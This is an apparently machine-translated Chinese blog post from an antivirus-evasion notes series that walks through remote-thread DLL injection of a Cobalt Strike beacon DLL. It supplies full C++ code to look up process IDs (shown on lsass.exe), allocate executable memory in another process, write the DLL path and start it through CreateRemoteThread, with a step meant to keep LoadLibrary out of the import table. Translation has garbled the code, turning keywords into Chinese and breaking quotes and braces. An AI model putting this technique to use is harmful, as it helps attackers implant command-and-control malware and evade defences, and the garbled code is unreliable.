如果这段时间没有事情做,我们会继续更新防杀笔记创建功能。
:今天我们来谈谈DLL注入
目录
1.DLL注入
2.是否直接加载DLL?
3.远程线程注入
获取句柄
远程请求内存空间
将CS DLL加载到内存中
创建远程线程并在线加载DLL
等待远程线程退出、释放DLL 空间并关闭线程句柄。
4.获取进程PID
5.释放空间
6.申请远程内存
7.CS在线DLL写入内存
8.获取LoadLibrary地址
9. 创建线程
10.等待线程退出,释放DLL空间,并关闭句柄。
11.最终代码
1.DLL注入
DLL 注入。也称为远程线程注入。
DLL(动态链接库)注入是一种允许一个进程将动态链接库(DLL)注入另一个进程的技术。这种技术通常用于软件开发和系统管理,但恶意软件也可以使用它来实现特定目标。
首先,让我解释一下。你有没有想过为什么不用加载user32.dll就可以使用MessageBoxA等函数?
这是因为包含了诸如Windows.h之类的头文件(如果你不相信我,就不要包含它们;你肯定会得到一个错误)。
在Windows平台上,Windows.h头文件是众多包含Windows API的头文件之一,它在编译时引入了所有必要的声明和定义,包括user32.dll的函数声明。
因此,如果您检查该程序的导出表,您将看到DLL user32.dll(无需手动转到LoadLibrary)。
2.直接加载DLL?
有些人可能认为可以自己写C语言,然后写LoadLibrary。
这在现实生活中确实可能发生。 让我们来演示一下
首先生成在线DLL
接下来,直接编写C代码(不能终止它,否则ShellCode的内存资源将被释放)。
下面的DLL是在线启动的DLL。
int main()
{
LoadLibrary(L\’C:\\\\Users\\\\ASUS\\\\Desktop\\\\inject.dll\’);
另一方面(1)
{
//没做什么
}
返回0。
}
可以看到我们已经成功上线了。
您还可以通过进程监视器查看该DLL。
但根本不知道这是什么节目?
: 既未列入UAC 白名单,也未进行数字签名。认为这个防病毒软件不存在?
因此,上面的方法虽然可以使其上线,但是并没有通过这种方式直接加载在线的DLL。
3.远程线程注入
DLL注入也称为远程线程注入,因为我们不想在本地加载DLL,所以只能远程加载。
那么如何执行远程线程注入呢?
获取进程句柄、远程申请内存空间、加载CS在线DLL到内存、获取Loadlibrary的地址、创建远程线程、加载在线DLL、远程线程终止等待DLL空间关闭线程句柄
让我一步步向您介绍这个过程
获取Handle
首先,获取已运行的EXE 的句柄以供以后操作。
远程申请内存空间
这里我们将远程申请内存空间。
将我们的CS的DLL加载入内存
这可能有点令人困惑,但是为什么我们需要将DLL 写入内存呢?
实际上,不存在RemoteLoadLibrary这样的操作,所以你不能让别人的EXE直接运行LoadLibrary。
创建远程线程,Load上线DLL
库无法远程加载,但可以远程创建线程来加载在线DLL。
等待远程线程结束,释放DLL空间,关闭线程句柄
然后,它等待远程线程退出,释放DLL 空间,并关闭线程句柄。
4.GetProcessPID
其实这不是标准函数,而是我们自己写的。 用于通过进程名获取对应的PID。
DWORD GetProcessPID(LPCTSTR lp 进程名称)
{
双字重定义=0;
进程入口32 p32;
HANDLE lpSnapshot=:CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot==INVALID_HANDLE_VALUE)
{
printf(\’获取进程快照失败,请重试!Error:%d\’,GetLastError());
返回RET。
}
p32.dwSize=sizeof(PROCESSENTRY32);
: 进程32 第一个(lp snapshot, p32);
做{
if (!lstrcmp(p32.szExeFile, lp 进程名))
{
ret=p32.th32进程ID;
休息;
}
while (:Process32Next(lpSnapshot, p32));
: 关闭句柄(lp快照);
返回RET。
}
但是,要运行此函数,还必须包含头文件Tlhelp32.h。让我们获取lsass进程的PID
#includeiostream
#includetchar.h
#includeWindows.h
#includeTlhelp32.h
使用命名空间标准。
#pragma comment(链接器, \’/section:data,RWE\’)
DWORD GetProcessPID(LPCTSTR lp 进程名称)
{
双字型RET=0;
进程入口32 p32;
HANDLE lpSnapshot=:CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot==INVALID_HANDLE_VALUE)
{
printf(\’获取进程快照失败,请重试!Error:%d\’,GetLastError());
返回RET。
}
p32.dwSize=sizeof(PROCESSENTRY32);
: 进程32 第一个(lp snapshot, p32);
做{
if (!lstrcmp(p32.szExeFile, lp 进程名))
{
ret=p32.th32进程ID;
休息;
}
while (:Process32Next(lpSnapshot, p32));
: 关闭句柄(lp快照);
返回RET。
}
int main()
{
cout \’Lsass 进程PID 为:\’ GetProcessPID(L\’lsass.exe\’) endl;
返回0。
}
由于编码问题,我必须在GetProcePID 接受的字符串前面手动添加一个L。
然后运行看看效果
我用cmd查看,发现还是1348。
这样就可以获取你要注入的程序的PID。
5.打开空间
首先我们需要通过OpenProcess获取句柄Handle。
OpenProcess 是一个Windows API 函数,用于打开现有进程并返回该进程的句柄。通过这个句柄,可以执行一系列操作,例如读取或修改进程的内存以及检索进程信息。
所以我们的代码可以写成
HANDLE OriginalProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
首先,OpenProcess 接受三个参数。第一个是当前进程的权限(我这里指定了ALL,但实际上可以被Kill软件监控),第二个是是否继承。最后一个参数为False。进程的PID。这里我们将使用我们之前找到的PID。
最好能把判断写下来(圈子里做反杀的人都是这样,不过也可以理解,如果不这样做的话,运行EXE就什么也没有了,而且会感觉有点干)
HANDLE OriginalProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if(原始进程句柄==NULL)
{
cout \’获取原始进程句柄失败:(\’endl;
}
除此之外{
cout \’成功获取原始进程句柄:)\’ endl;
}
6.申请远程内存
这里,我们使用VirtualAllocEx函数来远程请求内存空间。
DWORD 长度=(wcslen(dllpath) + 1) * sizeof(TCHAR);
PVOID RemoteMemory=VirtualAllocEx(OriginalProcessHandle, NULL, 长度, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(远程内存==NULL)
{
cout \’VritualAlloc 地址失败:(\’ endl;
}除此之外{
cout \’VirtualAlloc 地址成功:)\’ endl;
}
首先,我们忽略长度,看看VirtualAllocEx的参数。第一个参数是上面获取的句柄,然后是NULL,然后是DLL路径长度,MEM_COMMIT和PAGE_EXECUTE_READWRITE和平常一样。虚拟分配。
我认为这里需要说的是,Length是DLL路径的长度,而这个长度在内存中以2个字节存储,所以我们需要*sizeif(tchar)。
这并不是说将DLL的内容加载到内存中,而是将DLL的路径作为副本加载到内存中,以方便以后LoadLibrary。
7.CS上线DLL写入内存
在这里使用WirteProcessMemory 或先发布您的代码
BOOL WriteStatus=WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,长度,NULL);
if(写入状态==0)
{
cout \’无法将CS DLL 写入内存:(\’ endl;
}除此之外
{
cout \’成功将CS DLL写入内存:)\’ endl;
}
第一个参数是句柄,然后是远程虚拟地址,然后是DLL 的地址、长度和NULL。
8.获取LoadLibrary地址
事实上,您可以在这里完全跳过这一步并直接创建线程LoadLibrary,但我仍然将其隐藏在较低的设置中,以使其在导入表中不那么明显(GetProcessAddress 仍然是公共的)。
FARPROC FunctionHandle=GetProcAddress(GetModuleHandle(L\’kernel32.dll\’), \’LoadLibrary\’);
此处,使用函数指针类型(FARPOC),GetProcAddress 采用两个参数。一个是目标DLL的句柄,另一个是导出函数的名称。
因此,既然我们要绕过Loadlibrary,就需要使用GetModuleHandle来获取Kernel32句柄,找到Kernerl32中的Loadlibrary函数,并返回函数地址。
9.创建线程
先贴出你的代码
HANDLE RemoteHandle=CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);
if(远程句柄==NULL)
{
cout \’创建远程线程失败:(\’ endl;
返回;
}除此之外{
cout \’远程线程成功创建:)\’ endl;
}
CreateRemoteThread 接受三个参数。插入程序的句柄,NULL,0,指向线程函数的指针,即线程内要执行的代码的入口点(需要强制类型转换!),要应用的地址。远程、0、空
通过上面的代码,可以为远程程序创建一个线程。
10.等待线程结束,释放DLL空间,关闭句柄
对于这三个我无话可说!
//6. 等待线程完成。
WaitForSingleObject(RemoteHandle, -1);
//7. 释放DLL空间。
VirtualFreeEx(OriginalProcessHandle, RemoteMemory, 长度, MEM_COMMIT);
//8. 关闭手柄。
CloseHandle(原进程句柄);
最后一步是将上面的API封装成一个函数,并向其传递两个参数。一个是进程的API,另一个是DLL路径。
void DLLInject(DWORD pid,LPCWSTR dllpath)
其中LPCWSTR 是Windows 平台上使用的指针类型,表示指向以null 结尾的宽字符常量的指针。
11.最终代码
您现在已经有了完整的代码。
#includeiostream
#includetchar.h
#includeWindows.h
#includeTlhelp32.h
使用命名空间标准。
#pragma comment(链接器, \’/section:data,RWE\’)
DWORD GetProcessPID(LPCTSTR lp 进程名称)
{
双字型RET=0;
进程入口32 p32;
HANDLE lpSnapshot=:CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot==INVALID_HANDLE_VALUE)
{
printf(\’获取进程快照失败,请重试!Error:%d\’,GetLastError());
返回RET。
}
p32.dwSize=sizeof(PROCESSENTRY32);
: 进程32 第一个(lp snapshot, p32);
做{
if (!lstrcmp(p32.szExeFile, lp 进程名))
{
ret=p32.th32进程ID;
休息;
}
while (:Process32Next(lpSnapshot, p32));
: 关闭句柄(lp快照);
返回RET。
}
void DLLInject(DWORD pid,LPCWSTR dllpath)
{
//LPCWSTR是Windows平台上使用的指针类型,表示“指向空终止宽字符常量的指针”。
//1. 获取句柄。
HANDLE OriginalProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if(原始进程句柄==NULL)
{
cout \’获取原始进程句柄失败:(\’endl;
返回;
}
除此之外{
cout \’成功获取原始进程句柄:)\’ endl;
}
//2.远程请求内存
DWORD 长度=(wcslen(dllpath) + 1) * sizeof(TCHAR);
PVOID RemoteMemory=VirtualAllocEx(OriginalProcessHandle, NULL, 长度, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if(远程内存==NULL)
{
cout \’VritualAlloc 地址失败:(\’ endl;
返回;
}除此之外{
cout \’VirtualAlloc 地址成功:)\’ endl;
}
//3.将CS在线DLL写入内存
BOOL WriteStatus=WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,长度,NULL);
if(写入状态==0)
{
cout \’无法将CS DLL 写入内存:(\’ endl;
返回;
}除此之外
{
cout \’成功将CS DLL写入内存:)\’ endl;
}
//4. 获取加载库地址。
FARPROC FunctionHandle=GetProcAddress(GetModuleHandle(L\’kernel32.dll\’), \’LoadLibraryW\’);
//5. 创建一个线程。
HANDLE RemoteHandle=CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);
if(远程句柄==NULL)
{
cout \’创建远程线程失败:(\’ endl;
返回;
}除此之外{
cout \’远程线程成功创建:)\’ endl;
}
//6. 等待线程完成。
WaitForSingleObject(RemoteHandle, -1);
//7. 释放DLL空间。
VirtualFreeEx(OriginalProcessHandle, RemoteMemory, 长度, MEM_COMMIT);
//8. 关闭手柄。
CloseHandle(原进程句柄);
cout \’DL1 注入成功11y !\’ 享受黑客时间:)!
}
int main()
{
DWORD PID=GetProcessPID(L\’notepad++.exe\’);
DLLInject(PID, L\’C:\\\\Users\\\\ASUS\\\\Desktop\\\\inject.dll\’);
返回0。
}
我决定这里注入的是Notepad++。当然你可以注入其他东西,但是你必须小心权限。
查看结果(记得先打开Notepad++)
当然,稍后我会完善从CMD获取DLL路径和程序名的功能,然后发布到Github上。
以上#Antikill Notes相关内容摘自网络,仅供参考。相关信息请参见官方公告。
原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93365.html